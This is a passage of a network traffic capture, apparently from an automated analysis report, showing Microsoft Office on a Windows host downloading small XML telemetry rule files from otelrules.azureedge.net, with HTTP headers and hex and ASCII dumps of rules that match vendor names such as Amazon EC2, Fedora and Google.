T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:17 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:17 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:17 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213417Z-178bfbc474bwh9gmhC1NYCy3rs00000002700000000008nq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:17 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:18 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:18 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213418Z-15b8b599d885ffrhhC1TEBtuv000000000e000000000afa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:18 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:18 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:18 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 76e95f1f-101e-0034-7059-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213418Z-178bfbc474bgvl54hC1NYCsfuw000000021g00000000bggx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:18 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:18 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:18 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:18 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 008bef3b-f01e-001f-677c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213418Z-174c587ffdfb74xqhC1TEBhabc00000000gg0000000022sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:18 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:18 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:18 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213418Z-178bfbc474bv587zhC1NYCny5w00000001zg0000000055x8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:19 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:19 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:19 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213419Z-178bfbc474bp8mkvhC1NYCzqnn00000001x000000000d0m6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:19 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:20 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:20 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213420Z-178bfbc474bbcwv4hC1NYCypys00000001wg00000000khs8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:21 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:20 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:21 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4ec76ea5-a01e-006f-014e-3c13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213420Z-178bfbc474bwlrhlhC1NYCy3kg00000001x0000000017e8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:21 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:20 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213420Z-178bfbc474bw8bwphC1NYC38b400000001z00000000018yn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:20 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213421Z-178bfbc474bw8bwphC1NYC38b400000001s0000000011uzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:34:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:21 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:22 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:21 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213421Z-1777c6cb754gvvgfhC1TEBz4rg0000000bp000000000v0xb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:34:22 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:34:22 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:34:23 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:34:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T213423Z-178bfbc474bbcwv4hC1NYCypys00000001z0000000005001 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
